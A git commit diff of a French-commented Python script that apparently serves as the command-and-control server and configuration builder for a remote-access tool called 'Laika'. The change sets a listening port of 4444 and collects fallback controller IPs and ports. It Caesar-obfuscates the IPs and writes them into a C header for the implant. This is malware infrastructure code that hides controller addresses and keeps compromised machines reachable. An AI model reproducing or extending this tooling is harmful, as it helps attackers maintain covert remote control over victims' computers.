fix: fallback_server oob, connection refused, add: port to config

This commit is contained in:
2023-02-15 19:41:50 +01:00
parent b24e819d61
commit a5bb8718a3

View File

@@ -6,8 +6,8 @@ import os, sys, time
import select import select
import socket import socket
ADRESSE = socket.gethostname() ADRESSE = "192.168.1.35"#socket.gethostname()
PORT = 1337 PORT = 4444
CONNECT_CLIENTS = [] #liste des sockets ouverts CONNECT_CLIENTS = [] #liste des sockets ouverts
THREAD_LIST = [] #tout les threads THREAD_LIST = [] #tout les threads
CAESAR_KEY = 5 CAESAR_KEY = 5
@@ -149,20 +149,27 @@ def main() -> None :
print(f"\"{nb_fallbacks}\" n'est pas un nombre valide.") print(f"\"{nb_fallbacks}\" n'est pas un nombre valide.")
continue continue
ips = [] ips = {}
for i in range(1, int(nb_fallbacks)+1) : for i in range(1, int(nb_fallbacks)+1) :
while True : while True :
s_ip = input(f"IP du serveur {i} : ") s_ip = input(f"IP du serveur {i} : ")
if "." in s_ip : #technique de shlag mais un nom de domaine peut pas être vérifié avec socket du coup on check juste le "." if "." in s_ip : #technique de shlag mais un nom de domaine peut pas être vérifié avec socket du coup on check juste le "."
ips.append(CAESAR(s_ip)) s_port = input(f"Port du serveur {i} : ")
ips[CAESAR(s_ip)] = int(s_port)
break break
print("") print("")
print("Écriture de la config...") print("Écriture de la config...")
with open("../Laika/config.h", "w") as config : with open("../Laika/config.h", "w") as config :
config.write(f"#define FALLBACK_SERVERS {nb_fallbacks}\n\n")
config.write("char* fallback_servers["+nb_fallbacks+"] = {\n") config.write("char* fallback_servers["+nb_fallbacks+"] = {\n")
for ip in ips : for ip in ips.keys() :
config.write(f"\t\"{ip}\",\n") config.write(f"\t\"{ip}\",\n")
config.write("};\n\n")
config.write("int fallback_servers_ip["+nb_fallbacks+"] = {\n")
for port in ips.values() :
config.write(f"\t{port},\n")
config.write("};") config.write("};")
print("Config écrite") print("Config écrite")